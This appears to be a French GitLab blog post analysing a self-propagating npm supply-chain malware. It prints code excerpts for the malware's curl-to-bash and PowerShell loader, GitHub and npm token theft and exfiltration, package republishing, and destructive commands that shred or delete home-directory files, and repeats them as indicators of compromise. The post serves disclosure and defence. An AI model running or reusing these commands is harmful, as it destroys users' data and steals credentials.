Date de la publication : 25 novembre 2025

Lecture : 10 min

GitLab découvre une attaque généralisée de la chaîne d'approvisionnement npm

Le logiciel malveillant à l'origine de cette attaque comprend un mécanisme d'autodestruction capable de supprimer les données des utilisateurs.

L'équipe de recherche dédiée aux vulnérabilités de GitLab a identifié une attaque active à grande échelle de la chaîne d'approvisionnement de l'écosystème npm au moyen d'un logiciel malveillant (« malware »). Notre système de surveillance interne a découvert plusieurs paquets infectés contenant ce qui semble être une version évoluée du malware « Shai-Hulud ».

Les premières analyses révèlent un comportement de propagation similaire à celui d'un ver qui infecte automatiquement d'autres paquets maintenus par les équipes de développement concernées. Plus important encore, nous avons découvert que le logiciel malveillant contenait un mécanisme d'autodestruction qui menaçait de détruire les données des utilisateurs si ses canaux de propagation et d'exfiltration étaient fermés.

Nous avons vérifié que GitLab n'utilisait aucun des paquets malveillants et partageons nos conclusions pour aider la communauté de sécurité à répondre efficacement à cette attaque.

Analyse de l'attaque

Notre système de surveillance interne, qui analyse les registres de paquets open source à la recherche de paquets malveillants, a identifié plusieurs paquets npm infectés par un malware sophistiqué qui :

  • Collecte les identifiants de GitHub, npm, AWS, GCP et Azure.
  • Exfiltre les données volées vers des dépôts GitHub contrôlés par les attaquants.
  • Se propage en infectant automatiquement d'autres paquets appartenant aux victimes.
  • Contient une charge utile destructrice qui se déclenche si le logiciel malveillant perd l'accès à son infrastructure.

Bien que nous ayons confirmé plusieurs paquets infectés, le mécanisme de propagation, semblable à un ver, implique que de nombreux autres paquets sont probablement compromis. Notre analyse n'est pas terminée, et nous essayons de comprendre l'étendue complète de cette attaque.

Analyse technique : déroulement de l'attaque

Diagramme Mermaid qui illustre le déroulement de l'attaque

Vecteur d'infection initial

Le logiciel malveillant infiltre les systèmes au moyen d'un processus de chargement en plusieurs étapes soigneusement conçu. Les paquets infectés contiennent un package.json modifié avec un script de pré-installation pointant vers setup_bun.js. Ce script semble anodin et prétend installer l'environnement d'exécution JavaScript Bun, un outil légitime. Cependant, son véritable objectif est d’établir l'environnement d'exécution du malware.

// This file gets added to victim's packages as setup_bun.js
#!/usr/bin/env node
async function downloadAndSetupBun() {
  // Downloads and installs bun
  let command = process.platform === 'win32' 
    ? 'powershell -c "irm bun.sh/install.ps1|iex"'
    : 'curl -fsSL https://bun.sh/install | bash';
  
  execSync(command, { stdio: 'ignore' });
  
  // Runs the actual malware
  runExecutable(bunPath, ['bun_environment.js']);
}

Le fichier setup_bun.js télécharge ou localise l'environnement d'exécution Bun sur le système, puis exécute la charge utile bun_environment.js, un fichier obfusqué de 10 Mo déjà présent dans le paquet infecté. Cette approche offre plusieurs couches d'évasion : le fichier est petit et semble légitime, tandis que le code malveillant réel est fortement obfusqué et regroupé dans un fichier trop volumineux pour une simple inspection.

Collecte des identifiants

Une fois exécuté, le logiciel malveillant commence immédiatement à rechercher des identifiants dans plusieurs sources :

  • Tokens GitHub : il recherche dans les variables d'environnement et les configurations de l'interface de ligne de commande (CLI) GitHub les tokens commençant par ghp_ (token d'accès personnel GitHub) ou gho_ (token OAuth GitHub).
  • Identifiants cloud : il énumère les identifiants AWS, GCP et Azure à l'aide des SDK officiels et vérifie les variables d'environnement, les fichiers de configuration et les services de métadonnées.
  • Tokens npm : il extrait les tokens de publication de paquets des fichiers .npmrc et des variables d'environnement, qui sont des emplacements courants pour stocker de manière sécurisée des configurations et des identifiants sensibles.
  • Analyse du système de fichiers : il télécharge et exécute Trufflehog, un outil de sécurité légitime, pour analyser l'intégralité du répertoire personnel à la recherche de clés API, de mots de passe et d'autres secrets cachés dans les fichiers de configuration, le code source ou l'historique git.
async function scanFilesystem() {
  let scanner = new Trufflehog();
  await scanner.initialize();
  
  // Scan user's home directory for secrets
  let findings = await scanner.scanFilesystem(os.homedir());
  
  // Upload findings to exfiltration repo
  await github.saveContents("truffleSecrets.json", 
    JSON.stringify(findings));
}

Réseau d'exfiltration de données

Le logiciel malveillant utilise les tokens GitHub volés pour créer des dépôts publics avec un marqueur spécifique dans leur description : « Sha1-Hulud: The Second Coming. » Ces dépôts servent de boîtes de dépôt pour les identifiants volés et les informations système.

async function createRepo(name) {
  // Creates a repository with a specific description marker
  let repo = await this.octokit.repos.createForAuthenticatedUser({
    name: name,
    description: "Sha1-Hulud: The Second Coming.", // Marker for finding repos later
    private: false,
    auto_init: false,
    has_discussions: true
  });
  
  // Install GitHub Actions runner for persistence
  if (await this.checkWorkflowScope()) {
    let token = await this.octokit.request(
      "POST /repos/{owner}/{repo}/actions/runners/registration-token"
    );
    await installRunner(token); // Installs self-hosted runner
  }
  
  return repo;
}

Si le token GitHub initial ne possède pas les autorisations requises, le logiciel malveillant recherche d'autres dépôts compromis avec le même marqueur, ce qui lui permet de récupérer des tokens d'autres systèmes infectés. Il naît ainsi un réseau résilient de type « botnet » dans lequel les systèmes compromis partagent des tokens d'accès.

// How the malware network shares tokens:
async fetchToken() {
  // Search GitHub for repos with the identifying marker
  let results = await this.octokit.search.repos({
    q: '"Sha1-Hulud: The Second Coming."',
    sort: "updated"
  });
  
  // Try to retrieve tokens from compromised repos
  for (let repo of results) {
    let contents = await fetch(
      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`
    );
    
    let data = JSON.parse(Buffer.from(contents, 'base64').toString());
    let token = data?.modules?.github?.token;
    
    if (token && await validateToken(token)) {
      return token;  // Use token from another infected system
    }
  }
  return null;  // No valid tokens found in network
}

Propagation dans la chaîne d'approvisionnement

En utilisant les tokens npm volés, le logiciel malveillant :

  1. Télécharge tous les paquets maintenus par la victime.
  2. Injecte le fichier setup_bun.js dans les scripts de pré-installation de chaque paquet.
  3. Regroupe la charge utile malveillante bun_environment.js.
  4. Incrémente le numéro de version du paquet.
  5. Republie les paquets infectés sur npm.
async function updatePackage(packageInfo) {
  // Download original package
  let tarball = await fetch(packageInfo.tarballUrl);
  
  // Extract and modify package.json
  let packageJson = JSON.parse(await readFile("package.json"));
  
  // Add malicious preinstall script
  packageJson.scripts.preinstall = "node setup_bun.js";
  
  // Increment version
  let version = packageJson.version.split(".").map(Number);
  version[2] = (version[2] || 0) + 1;
  packageJson.version = version.join(".");
  
  // Bundle backdoor installer
  await writeFile("setup_bun.js", BACKDOOR_CODE);
  
  // Repackage and publish
  await Bun.$`npm publish ${modifiedPackage}`.env({
    NPM_CONFIG_TOKEN: this.token
  });
}

Mécanisme d'autodestruction

Notre analyse a révélé une charge utile destructrice conçue pour protéger l'infrastructure du logiciel malveillant contre les tentatives de neutralisation.

Le malware surveille en permanence son accès à GitHub (pour l'exfiltration de données) et à npm (pour la propagation). Si un système infecté perd l'accès aux deux canaux simultanément, le logiciel malveillant déclenche la destruction immédiate des données sur la machine compromise. Sur Windows, il tente de supprimer tous les fichiers utilisateur et d'écraser les secteurs du disque. Sur les systèmes Unix, il utilise shred pour écraser les fichiers avant leur suppression, ce qui rend la récupération pratiquement impossible.

// CRITICAL: Token validation failure triggers destruction
async function aL0() {
  let githubApi = new dq();
  let npmToken = process.env.NPM_TOKEN || await findNpmToken();
  
  // Try to find or create GitHub access
  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {
    let fetchedToken = await githubApi.fetchToken(); // Search for tokens in compromised repos
    
    if (!fetchedToken) {  // No GitHub access possible
      if (npmToken) {
        // Fallback to NPM propagation only
        await El(npmToken);
      } else {
        // DESTRUCTION TRIGGER: No GitHub AND no NPM access
        console.log("Error 12");
        if (platform === "windows") {
          // Attempts to delete all user files and overwrite disk sectors
          Bun.spawnSync(["cmd.exe", "/c", 
            "del /F /Q /S \"%USERPROFILE%*\" && " +
            "for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
            "cipher /W:%USERPROFILE%"  // Overwrite deleted data
          ]);
        } else {
          // Attempts to shred all writable files in home directory
          Bun.spawnSync(["bash", "-c", 
            "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
            "xargs -0 -r shred -uvz -n 1 && " +  // Overwrite and delete
            "find \"$HOME\" -depth -type d -empty -delete"  // Remove empty dirs
          ]);
        }
        process.exit(0);
      }
    }
  }
}

Ce scénario est dangereux : si GitHub supprime en masse les dépôts du malware ou si npm révoque en masse les tokens compromis, des milliers de systèmes infectés pourraient simultanément détruire les données des utilisateurs. La nature distribuée de l'attaque signifie que chaque machine infectée surveille indépendamment l'accès et déclenche la suppression des données de l'utilisateur lorsqu'une neutralisation est détectée.

Indicateurs de compromission

Pour faciliter la détection et la réponse, vous retrouverez ci-dessous une liste plus complète des principaux indicateurs de compromission identifiés lors de notre analyse.

Type Indicator Description
fichier bun_environment.js Script post-installation malveillant dans les répertoires node_modules
répertoire .truffler-cache/ Répertoire caché créé dans le répertoire personnel de l'utilisateur pour le stockage du binaire Trufflehog
répertoire .truffler-cache/extract/ Répertoire temporaire utilisé pour l'extraction du binaire
fichier .truffler-cache/trufflehog Binaire Trufflehog téléchargé (Linux/Mac)
fichier .truffler-cache/trufflehog.exe Binaire Trufflehog téléchargé (Windows)
processus del /F /Q /S "%USERPROFILE%*" Commande de charge utile destructrice Windows
processus shred -uvz -n 1 Commande de charge utile destructrice Linux/Mac
processus cipher /W:%USERPROFILE% Commande de suppression sécurisée Windows dans la charge utile
commande curl -fsSL https://bun.sh/install | bash Installation Bun suspecte pendant l'installation du paquet NPM
commande powershell -c "irm bun.sh/install.ps1|iex" Installation de Bun sous Windows via PowerShell

Comment GitLab peut-elle vous aider à détecter cette attaque ?

Si vous utilisez GitLab Ultimate, vous pouvez exploiter les capacités de sécurité intégrées pour identifier immédiatement l'exposition liée à cette attaque au sein de vos projets.

Tout d'abord, activez l'analyse des dépendances pour analyser automatiquement les dépendances de votre projet par rapport aux bases de données de vulnérabilités connues. Si des paquets infectés sont présents dans vos fichiers package-lock.json ou yarn.lock, l'analyse des dépendances les signalera dans les résultats de votre pipeline et dans le rapport de vulnérabilités. Pour obtenir des instructions complètes de configuration, consultez notre documentation.

Une fois activées, les merge requests qui introduisent un paquet compromis afficheront un avertissement avant que le code n'atteigne votre branche principale.

GitLab Duo Chat peut être également utilisé avec l'analyse des dépendances afin de vérifier rapidement l'exposition de votre projet sans naviguer dans les rapports.

Dans le menu déroulant, sélectionnez l'agent Security Analyst et posez des questions comme :

  • « Est-ce que l'une de mes dépendances est affectée par l'attaque de logiciels malveillants Shai-Hulud v2 ? »
  • « Ce projet a-t-il des vulnérabilités liées à la chaîne d'approvisionnement npm ? »
  • « Montre-moi les vulnérabilités critiques dans mes dépendances JavaScript. »

L'agent interrogera les données de vulnérabilité de votre projet et fournira une réponse directe afin d'aider les équipes de sécurité à identifier rapidement les projets impactés.

Résultats de l'agent analyste de sécurité GitLab

Pour les équipes qui gèrent de nombreux dépôts, nous recommandons de combiner l'analyse des dépendances pour une détection automatisée continue dans le CI/CD et l'agent Security Analyst pour des investigations ponctuelles et une réponse rapide lors d'incidents comme celui-ci.

Et après ?

Cette attaque représente une évolution dans les attaques de la chaîne d'approvisionnement, car la menace de dommages collatéraux devient le principal mécanisme de défense de l'infrastructure des attaquants. Nous poursuivons notre enquête et collaborons avec la communauté afin de comprendre l'étendue complète de cette attaque et de développer des stratégies de correction sûres.

Les systèmes de détection automatisés de GitLab continuent de surveiller les nouvelles infections et les variantes de cette attaque. En partageant nos conclusions rapidement, nous espérons aider la communauté à répondre efficacement tout en évitant les pièges créés par le mécanisme d'autodestruction du logiciel malveillant.

Votre avis nous intéresse

Cet article de blog vous a plu ou vous avez des questions ou des commentaires ? Partagez vos réflexions en créant un sujet dans le forum de la communauté GitLab.
Donnez votre avis

Plus de 50 % des entreprises du classement Fortune 100 font confiance à GitLab

Commencez à livrer des logiciels de meilleure qualité plus rapidement

Découvrez comment la plateforme DevSecOps intelligente

peut aider votre équipe.